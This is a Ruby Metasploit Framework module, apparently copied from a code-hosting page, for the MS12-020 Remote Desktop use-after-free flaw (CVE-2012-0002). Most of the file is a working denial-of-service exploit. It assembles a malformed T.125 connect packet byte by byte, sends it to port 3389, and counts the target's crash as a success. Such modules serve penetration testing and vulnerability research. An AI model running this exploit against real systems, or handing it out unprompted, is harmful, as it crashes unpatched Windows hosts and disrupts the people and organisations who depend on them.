164 lines
5.2 KiB
Ruby
164 lines
5.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'MS12-020 Microsoft Remote Desktop Use-After-Free DoS',
|
|
'Description' => %q{
|
|
This module exploits the MS12-020 RDP vulnerability originally discovered and
|
|
reported by Luigi Auriemma. The flaw can be found in the way the T.125
|
|
ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result
|
|
an invalid pointer being used, therefore causing a denial-of-service condition.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-0002' ],
|
|
[ 'MSB', 'MS12-020' ],
|
|
[ 'URL', 'http://www.privatepaste.com/ffe875e04a' ],
|
|
[ 'URL', 'http://pastie.org/private/4egcqt9nucxnsiksudy5dw' ],
|
|
[ 'URL', 'http://pastie.org/private/feg8du0e9kfagng4rrg' ],
|
|
[ 'URL', 'http://stratsec.blogspot.com.au/2012/03/ms12-020-vulnerability-for-breakfast.html' ],
|
|
[ 'EDB', 18606 ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/03/21/metasploit-update' ]
|
|
],
|
|
'Author' =>
|
|
[
|
|
'Luigi Auriemma',
|
|
'Daniel Godas-Lopez', # Entirely based on Daniel's pastie
|
|
'Alex Ionescu',
|
|
'jduck',
|
|
'#ms12-020' # Freenode IRC
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => "Mar 16 2012"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(3389)
|
|
], self.class)
|
|
end
|
|
|
|
def is_rdp_up
|
|
begin
|
|
connect
|
|
return true
|
|
rescue Rex::ConnectionRefused
|
|
return false
|
|
rescue Rex::ConnectionTimeout
|
|
return false
|
|
end
|
|
end
|
|
|
|
def run
|
|
max_channel_ids = "\x02\x01\xff"
|
|
|
|
pkt = ''+
|
|
"\x03\x00\x00\x13" + # TPKT: version + length
|
|
"\x0E\xE0\x00\x00" + # X.224 (connection request)
|
|
"\x00\x00\x00\x01" +
|
|
"\x00\x08\x00\x00" +
|
|
"\x00\x00\x00" +
|
|
"\x03\x00\x00\x6A" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224 (connect-initial)
|
|
"\x7F\x65\x82\x00" + # T.125
|
|
"\x5E" +
|
|
"\x04\x01\x01" + # callingDomainSelector
|
|
"\x04\x01\x01" + # calledDomainSelector
|
|
"\x01\x01\xFF" + # upwardFlag
|
|
"\x30\x19" + # targetParameters
|
|
max_channel_ids + # maxChannelIds
|
|
"\x02\x01\xFF" + # maxUserIds
|
|
"\x02\x01\x00" + # maxTokenIds
|
|
"\x02\x01\x01" + # numPriorities
|
|
"\x02\x01\x00" + # minThroughput
|
|
"\x02\x01\x01" + # maxHeight
|
|
"\x02\x02\x00\x7C" + # maxMCSPDUsize
|
|
"\x02\x01\x02" + # protocolVersion
|
|
"\x30\x19" + # minimumParameters
|
|
max_channel_ids + # maxChannelIds
|
|
"\x02\x01\xFF" + # maxUserIds
|
|
"\x02\x01\x00" + # maxTokenIds
|
|
"\x02\x01\x01" + # numPriorities
|
|
"\x02\x01\x00" + # minThroughput
|
|
"\x02\x01\x01" + # maxHeight
|
|
"\x02\x02\x00\x7C" + # maxMCSPDUsize
|
|
"\x02\x01\x02" + # protocolVersion
|
|
"\x30\x19" + # maximumParameters
|
|
max_channel_ids + # maxChannelIds
|
|
"\x02\x01\xFF" + # maxUserIds
|
|
"\x02\x01\x00" + # maxTokenIds
|
|
"\x02\x01\x01" + # numPriorities
|
|
"\x02\x01\x00" + # minThroughput
|
|
"\x02\x01\x01" + # maxHeight
|
|
"\x02\x02\x00\x7C" + # maxMCSPDUsize
|
|
"\x02\x01\x02" + # protocolVersion
|
|
"\x04\x82\x00\x00" + # userData
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x08" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x28" + # T.125
|
|
"\x03\x00\x00\x0C" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x38\x00\x06\x03" + # T.125
|
|
"\xF0" +
|
|
"\x03\x00\x00\x09" + # TPKT: version + length
|
|
"\x02\xF0\x80" + # X.224
|
|
"\x21\x80" # T.125
|
|
|
|
connect
|
|
print_status("#{rhost}:#{rport} - Sending #{self.name}")
|
|
sock.put(pkt)
|
|
select(nil, nil, nil, 3)
|
|
disconnect
|
|
print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent")
|
|
|
|
print_status("#{rhost}:#{rport} - Checking RDP status...")
|
|
if not is_rdp_up
|
|
print_good("#{rhost}:#{rport} seems down")
|
|
report_vuln({
|
|
:host => rhost,
|
|
:port => rport,
|
|
:name => self.name,
|
|
:refs => self.references,
|
|
:info => "Module #{self.fullname} successfully crashed the target system via RDP"
|
|
})
|
|
else
|
|
print_status("#{rhost}:#{rport} is still up")
|
|
end
|
|
end
|
|
|
|
end
|